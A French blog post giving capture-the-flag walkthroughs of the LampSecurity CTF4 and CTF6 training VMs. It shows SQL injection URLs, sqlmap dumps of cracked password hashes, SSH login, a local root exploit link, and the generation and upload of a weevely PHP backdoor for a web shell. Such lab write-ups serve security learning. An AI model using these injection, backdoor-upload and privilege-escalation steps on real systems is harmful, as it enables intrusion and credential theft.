mercredi 28 mars 2012

LampSec CTF4, encore plus vite!

Comme je m'étais bien amusé hier j'ai décidé de recommencer aujourd'hui, voici la VM:

http://mirror.transact.net.au/pub/sourceforge/l/project/la/lampsecurity/CaptureTheFlag/ctf4/LAMPSecCTF.zip

Et un peu de son:



Pas très original, on tombe cette fois encore sur une injection SQL du type:



http://192.168.1.74/index.html?page=blog&title=Blog&id=-1 BLABLABL


Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /var/www/html/pages/blog.php on line 20



Même méthode que précédemment:



$ ./sqlmap.py --url "http://192.168.1.74/index.html?page=blog&title=Blog&id=1" --dbs

available databases [6]:
[*] calendar
[*] ehks
[*] information_schema
[*] mysql
[*] roundcubemail
[*] test

$ ./sqlmap.py --url "http://192.168.1.74/index.html?page=blog&title=Blog&id=1" -D ehks -T user --dump

Database: ehks
[3 tables]
+---------+
| blog |
| comment |
| user |
+---------+

$ ./sqlmap.py --url "http://192.168.1.74/index.html?page=blog&title=Blog&id=1" -D ehks -T user --dump

Database: ehks
Table: user
+---------+-----------+---------------------------------------------------+
| user_id | user_name | user_pass |
+---------+-----------+---------------------------------------------------+
| 5 | sorzek | 64d1f88b9b276aece4b0edcc25b7a434 (pacman) |
| 2 | achen | b46265f1e7faa3beab09db5c28739380 (seventysixers) |
| 3 | pmoore | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite) |
| 6 | ghighland | 9f3eb3087298ff21843cc4e013cf355f (undone1) |
| 1 | dstevens | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf) |
| 4 | jdurbin | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978) |
+---------+-----------+---------------------------------------------------+



Et la, avec une lueur d'espoir dans les yeux, je tente la connexion SSH avec le premier utilisateur... Et ça passe :/


[sorzek@ctf4 ~]$ id
uid=504(sorzek) gid=504(sorzek) groups=100(users),504(sorzek) context=user_u:system_r:unconfined_t

[sorzek@ctf4 ~]$ uname -a
Linux ctf4.sas.upenn.edu 2.6.15-1.2054_FC5 #1 Tue Mar 14 15:48:33 EST 2006 i686 i686 i386 GNU/Linux



On file direct chercher l'exploit qui va bien : http://www.exploit-db.com/exploits/9479/



[sorzek@ctf4 ~]$ ./pwn
sh-3.1# id
uid=0(root) gid=0(root) groups=100(users),504(sorzek) context=user_u:system_r:unconfined_t



Si vous connaissez des wargames un peu plus difficiles je suis preneur :) !

LampSec CTF6 sur "avance rapide"

Je m'ennuyais ferme aujourd'hui, j'ai donc décidé d'essayer l'une des machine virtuelles proposée par LampSecurity.

L'image de la machine virtuelle est disponible ici:

http://mirror.transact.net.au/pub/sourceforge/l/project/la/lampsecurity/CaptureTheFlag/ctf6/lampsecurity.org.ctf6.tar.gz

Une fois démarrée sous VMware, la machine publie un site web de gestion de news. On repère rapidement une injection SQL dans le module d'affichage des news:


http://192.168.1.98/index.php?id=-1 UNION SELECT 1,2,3,4,5,6,7 #



On va utiliser l'outil sqlmap pour piller la DB du site sans se fouler la cheville:

Récupération des noms des bases existantes:


$ ./sqlmap.py --url http://192.168.1.98/index.php?id=1 --dbs

[14:48:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5
web application technology: PHP 5.2.6, Apache 2.2.3
back-end DBMS: MySQL 5.0.11
[14:48:38] [INFO] fetching database names
available databases [5]:
[*] cms
[*] information_schema
[*] mysql
[*] roundcube
[*] test



Les noms des tables de la base "cms" :


$ ./sqlmap.py --url http://192.168.1.98/index.php?id=1 -D cms --tables

[14:50:13] [INFO] fetching tables for database 'cms'
Database: cms
[3 tables]
+-------+
| event |
| log |
| user |
+-------+



Le contenu de la table "user" (On répondra "yes" lorsque sqlmap nous proposera de tenter un bruteforce des hash détectés) :


./sqlmap.py --url http://192.168.1.98/index.php?id=1 -D cms -T user --dump

Database: cms
Table: user
[1 entry]
+---------+----------------------------------------------+---------------+
| user_id | user_password | user_username |
+---------+----------------------------------------------+---------------+
| 1 | 25e4ee4e9229397b6b17776bfceaf8e7 (adminpass) | admin |
+---------+----------------------------------------------+---------------+



On peut maintenant se connecter en tant qu'administrateur du CMS.

En observant le module de création d’événement, on repère rapidement qu'il est possible d'uploader n'importe quel type de fichier via le champs image du formulaire...

On va utiliser weevely , un shell php plutôt sympa:

On va tout d'abord générer notre backdoor:


$ ./weevely.py generate p4ssw0rd evil.php

Weevely 0.6 - Generate and manage stealth PHP backdoors
Emilio Pinna 2011-2012

+ Backdoor file 'evil.php' created with password 'p4ssw0rd'.



On la dépose ensuite sur le site cible par le formulaire de création d’événement, puis, on tente de s'y connecter:


$ ./weevely.py http://192.168.1.98/files/evil.php p4ssw0rd
Weevely 0.6 - Generate and manage stealth PHP backdoors
Emilio Pinna 2011-2012

[+] Starting terminal. Shell probe may take a while...

[+] List modules with and show help with :show [module name]

apache@localhost.localdomain:/var/www/html/files$ id
uid=48(apache) gid=48(apache) groups=48(apache)
apache@localhost.localdomain:/var/www/html/files$



Bingo, parti de la il faudrait continuer en utilisant l'exploit udev local root dispo ici : http://www.exploit-db.com/exploits/8572/ ou ici http://www.exploit-db.com/exploits/8478/

J'ai eu d'une part la flemme d'aller plus loin, et d'autre part l'exploit nécessite certains paramètres un peu aléatoires que je n'ai pas le courage de chercher...